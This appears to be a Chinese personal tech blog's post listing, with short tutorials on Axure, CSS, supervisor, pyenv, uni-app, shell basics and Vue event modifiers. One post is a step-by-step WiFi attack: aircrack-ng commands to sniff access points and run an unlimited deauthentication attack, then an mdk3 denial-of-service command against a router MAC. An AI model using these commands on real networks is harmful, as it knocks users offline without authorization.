axure 9 绘制一个TAB选项卡原型

1. 创建一个Dynamic panel

2019-10-17T00:43:02.png

2. 添加面板状态

双击动态面板,点击state1添加,编辑面板状态

2019-10-17T00:47:06.png

添加至三个面板状态

2019-10-17T00:48:58.png

3. 创建选项卡

2019-10-17T00:45:12.png

确保是在对应的state里面添加

2019-10-17T00:50:59.png

4. 添加选项卡点击事件

为选项卡添加点击切换到对应的state的状态

2019-10-17T00:53:25.png

依次添加直至所有选项卡都有可切换到对应state的点击事件

2019-10-17T00:55:31.png

5. 设置响应状态

在不同的state下,设置对应state应该显示的效果

state1的效果

依次将组件复制到其他state并设置对应显示效果

2019-10-17T01:02:59.png

6. 预览效果

tab.gif

📅 2019-10-25

比较官方的解释

伪类

伪类选择元素基于的是当前元素处于的状态,或者说元素当前所具有的特性,而不是元素的id、class、属性等静态的标志。由于状态是动态变化的,所以一个元素达到一个特定状态时,它可能得到一个伪类的样式;当状态改变时,它又会失去这个样式。由此可以看出,它的功能和class有些类似,但它是基于文档之外的抽象,所以叫伪类。

伪元素

伪元素是对元素中的特定内容进行操作,它所操作的层次比伪类更深了一层,也因此它的动态性比伪类要低得多。实际上,设计伪元素的目的就是去选取诸如元素内容第一个字(母)、第一行,选取某些内容前面或后面这种普通的选择器无法完成的工作。它控制的内容实际上和元素是相同的,但是它本身只是基于元素的抽象,并不存在于文档中,所以叫伪元素。

一级标题

二级标题

三级标题

四级标题

📅 2019-10-16

supervisor是一个守护进程工具

安装


yum install -y supervisor

配置

安装后会生成如下内容

2019-09-03T02:33:19.png

我们查看一下/etc/supervisord.conf,发现文件最后一行

2019-09-03T02:39:38.png

这就是在提示我们把配置文件写supervisord.d目录下的ini文件里。

创建配置文件

  1. 首先切换到supervisord.d目录

  2. touch frps.ini

  3. nano frps.ini

  4. 复制以下内容(示例为运行frps服务端)


[program:frps]

user=root

command=/root/frp/frps/frps -c /root/frp/frps/frps.ini

startsecs=1

startretries=100

autorstart=true

autorestart=true

stderr_logfile=/tmp/err-frps.log

stderr_logfile_maxbytes=50MB

stderr_logfile_backups=10

stdout_logfile=/tmp/out-frps.log

stdout_logfile_maxbytes=50MB

stdout_logfile_backups=10

tips


supervisorctl status //查看状态

supervisorctl reload //重载配置文件

运行


supervisorctl reload

supervisord -c /etc/supervisord.conf

然后再配置好开机自启就OK了

📅 2019-09-03

简单的python版本管理器: pyenv

pyenv可以让你轻松的在各版本的python环境中切换自如,它是一个简单而又不引人注目并遵循UNIX传统的专用工具。

这个项目是从rbenvruby-buildfork而来, 并且在配合Python的情况下做了适当的修改.

Terminal output example

pyenv能做什么?

  • 让你在用户基础上改变全局Python版本.

  • 支持为每一个项目设立一个Python版本.

  • 允许您使用环境变量覆盖Python版本.

  • 多个python环境中搜索命令,这有助于在Python版本中进行测试 tox.

与pythonbrew和pythonz相比,pyenv不能做什么?

  • 不依赖于Python本身。 pyenv是由纯shell脚本制作的。没有Python的引导问题。

  • **不需要加载到你的shell中。**相反,pyenv的shim方法的工作原理是在$ PATH中添加一个目录。

  • 不能管理virtualenv 当然你可以自行创建virtualenv virtualenv或者使用pyenv-virtualenv去自动化构建

工作原理

在较高的层次上,pyenv使用shim拦截Python命令注入PATH的可执行文件, 确定哪个Python版本已由您的应用程序指定,并传递您的命令使用你想要的Python安装版本。

理解PATH(环境变量路径)

当你执行命令,如python或者pip, 你的操作系统会搜索目录列表以查找可执行文件的那个名字.此目录列表位于环境变量中称为PATH, 列表中的每个目录使用用冒号分隔.

PATH.png

PATH中的目录从左到右搜索,因此首先匹配在列表开头的目录中的可执行文件, 然后一次往右匹配。在这个例子中,首先搜索/usr/local/sbin目录,然后搜索/usr/local/bin,然后是/usr/sbin

理解Shims(垫片)

pyenv的工作原理是在你的PATH前面插入一个shims目录,这样一来系统在搜索Python的时候第一个找到的就是pyenv管理的Python环境。这个插到最前面的路径就叫做垫片(shims)

$(pyenv root)/shims:/usr/local/bin:/usr/bin:/bin

通过一个叫做为_rehashing_的进程, pyenv维护shims目录以匹配每个已安装版本的每个Python命令,比如pythonpip等。

垫片是轻量级可执行文件,只是简单地传递命令到pyenv。所以只要安装了pyenv,当你运行时,比如说,pip,你的操作系统将执行以下操作:

  • PATH中搜索名为pip的可执行文件

  • PATH的开头找到名为pip的pyenv垫片

  • 运行名为pip的垫片,然后将命令传递给属于pyenv的pip命令

选择Python版本

执行shims程序时,pyenv会确定要使用的Python版本,并按此以下资源顺序读取:

  1. PYENV_VERSION环境变量(如果指定). 你可以使用pyenv shell 去设置环境变量在你当前shell session.

  2. 当前特定于应用程序的.python-version文件目录(如果有). 您可以使用 pyenv local修改当前目录.python-version文件.

  3. 通过搜索每个上层目录,找到第一个.python-version文件(如果有的话),直到到达文件系统的根目录

  4. 全局$(pyenv root)/version文件. 您可以使用pyenv global 修改这个文件. 如果是该全局文件不存在,pyenv假设您要使用“系统”Python。(换句话说,如果pyenv不在您的PATH中,那么任何版本都会运行.)

NOTE: 您可以同时激活多个版本,甚至包括Python2或Python3的任何版本. 这允许平行使用Python2和Python3,并且需要像tox这样的工具. 例如,要设置你的首次使用的系统Python和Python3的路径(在这个例子中设置为2.7.9和3.4.2),但也可以在你的PATH使用Python 3.3.6,3.2和2.5,首先是pyenv install缺少的版本,然后设置pyenv全局3.3.6 3.2 2.5.这时, 使用pyenv which应该能够找到每个可执行路径, 例如pyenv which python2.5(应该显示$(pyenv root/versions/2.5 /bin/python2.5) 或者pyenv which python3.4(应该显示系统Python3路径). 您还可以指定多个.python-version`文件中的版本,由换行符或任何空格分隔。

📅 2019-09-03

1. 查看网卡


ifconfig

2. 打开网卡混杂模式


airmon-ng start wlan0

3. 嗅探附近AP


airodump-ng wlan0mon

4. 发动deauth攻击使目标重连


aireplay-ng -0 [攻击数量] –a [路由器MAC] -c [客户端MAC] wlan0mon
  1. 攻击数量设为0为无限循环模式

  2. 路口器MAC地址为必填项

  3. 客户端MAC,可不填则对路由器所有的客户端进行攻击

5. 对路由器Dos攻击


sudo mdk3 mon0 a -a D4:83:04:9F:37:28
📅 2019-07-26
微信小程序通过uni-app实现v-html渲染视图

v-html介绍

如果不使用v-html而是直接将html标签加入视图层会出现html标签不解析的情况,如果我们想实现解析的效果。vue中提供了v-html指令。使用 v-html 指令,你可以将html标签解析渲染到视图层。

微信小程序如何使用?

由于微信小程序只是类vue的,与vue存在着很多不同点。但是为了秉承将vue进行到底的宗旨,很多微信小程序开发框架如雨后春笋。在我使用的过程中,感觉uni-app与vue最为贴近,而且适配了很多vue的特性,如:v-model,filters,v-html等。官网是这样介绍的。

uni-app支持的vue特性

其中,他们是通过微信小程序rich-text的属性来实现v-html的效果的。所以,我们想知道支持什么标签,就得移步至rich-text | 微信开发文档

开始实现Demo

demo 中的需求是一个赛事报名list,其中赛事状态有,预报名,报名成功,正在进行,已结束等。

预实现方法:由于微信小程序的rich-text组件会禁用所有的节点事件,所以想通过@click绑定v-html节点事件,filter渲染界面。但是在实现过程中发现不支持在v-html中使用filter, 故后来采用methods的返回值来实现视图层的渲染。

methods实现v-html渲染

效果如下:至此效果,v-html解析成功

v-html 渲染效果

添加状态判断

最终效果

📅 2019-07-02

rpx单位

rpx(responsive pixel): 可以根据屏幕宽度进行自适应。规定屏幕宽为750rpx。要实现4:3的展示则可以


image{

    width:750rpx;

    height:563rpx;

}

使用组件库,写的css样式优先级太低

不管三七二十一,加!important


.findButton {

  width:300px !important;

  height:35px !important;

}

样式各种飘,不居中怎么办?


<view class="nickName">

  <view>{{userInfo.nickName}}</view>

</view>

.nickName {

  width: 100%;

  display: flex;

  align-items: center;

  justify-content: center;

  height: 44px;

}

selectedColor无效

selectedColor 和 list 是同级别的。写在list数组外面就可以了。

背景虚化

blur中的参数是虚化比例


filter: blur(1px);

scroll-view设置`scroll-x"也不会横向滚动

要给scroll-view加上white-space: nowrap; ,给scroll-view的子元素box加上display:inline-block;

📅 2019-07-02
Shell入门

本文诞生原因:作为一个程序员,居然不会shell,说起来也尴尬。

基本格式


#!/bin/bash

...

Shell变量

  1. Shell变量定义不需要关键字,直接定义,不要加$。如name = "hello"

  2. Shell变量使用的时候需要加$, 花括号为可选项,但是为了让程序可以分清边界,一般使用花括号。如echo ${name}

只读变量

在前面加readonly

如:


#!/bin/bash

name="Hello"

readonly name

删除变量

在前面加unset

变量被删除后不能再次使用。unset 命令不能删除只读变量。

如:


#!/bin/sh

name="Hello"

unset name

shell获取输入

read - 从标准输入读取数值,命令语法:


read: read [-ers] [-a array] [-d delim] [-i text] [-n nchars] [-N nchars] [-p prompt] [-t timeout] [-u fd] [name ...]

    从标准输入中读取一行。

    

    从标准输入中读取一行, 如果提供 -u 则从文件描述符FD中读取一行。该行数据与单词一样分隔, 第一个单词分给第一个变量,第二个分给第二个变量,依次类推,直至最后一个单词. 只有在$IFS中找到的字符才会被识别为单词分隔符
    

    如果不提供变量,这一行的读取将被存在REPLY变量中。

    

    Options:

      -a 数组	将读取的单词分配给顺序数组,下标从零开始。

      -d delim	继续读取直到读取DELIM的第一个字符,而不是换行符.

      -e	use Readline to obtain the line in an interactive shell

      -i text	use TEXT as the initial text for Readline

      -n nchars	return after reading NCHARS characters rather than waiting

    		for a newline, but honor a delimiter if fewer than

    		NCHARS characters are read before the delimiter

      -N nchars	return only after reading exactly NCHARS characters, unless

    		EOF is encountered or read times out, ignoring any

    		delimiter

      -p prompt	output the string PROMPT without a trailing newline before

    		attempting to read

      -r	do not allow backslashes to escape any characters

      -s	do not echo input coming from a terminal

      -t timeout	time out and return failure if a complete line of

    		input is not read within TIMEOUT seconds.  The value of the

    		TMOUT variable is the default timeout.  TIMEOUT may be a

    		fractional number.  If TIMEOUT is 0, read returns

    		immediately, without trying to read any data, returning

    		success only if input is available on the specified

    		file descriptor.  The exit status is greater than 128

    		if the timeout is exceeded

      -u fd	read from file descriptor FD instead of the standard input

    

    Exit Status:

    The return code is zero, unless end-of-file is encountered, read times out

    (in which case it's greater than 128), a variable assignment error occurs,

    or an invalid file descriptor is supplied as the argument to -u.

不翻译了,反正都是很简单的英语

📅 2019-07-01

在事件处理程序中调用 event.preventDefault() 或 event.stopPropagation() 是非常常见的需求。尽管我们可以在方法中轻松实现这点,但更好的方式是:方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。

为了解决这个问题,Vue.js 为 v-on 提供了事件修饰符。之前提过,修饰符是由点开头的指令后缀来表示的。

.stop

.prevent

.capture

.self

.once

.passive


<!-- 阻止单击事件继续传播 -->

<a v-on:click.stop="doThis"></a>



<!-- 提交事件不再重载页面 -->

<form v-on:submit.prevent="onSubmit"></form>



<!-- 修饰符可以串联 -->

<a v-on:click.stop.prevent="doThat"></a>



<!-- 只有修饰符 -->

<form v-on:submit.prevent></form>



<!-- 添加事件监听器时使用事件捕获模式 -->

<!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 -->

<div v-on:click.capture="doThis">...</div>



<!-- 只当在 event.target 是当前元素自身时触发处理函数 -->

<!-- 即事件不是从内部元素触发的 -->

<div v-on:click.self="doThat">...</div>

使用修饰符时,顺序很重要;相应的代码会以同样的顺序产生。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。

2.1.4 新增


<!-- 点击事件将只会触发一次 -->

<a v-on:click.once="doThis"></a>

不像其它只能对原生的 DOM 事件起作用的修饰符,.once 修饰符还能被用到自定义的组件事件上。如果你还没有阅读关于组件的文档,现在大可不必担心。

📅 2019-06-05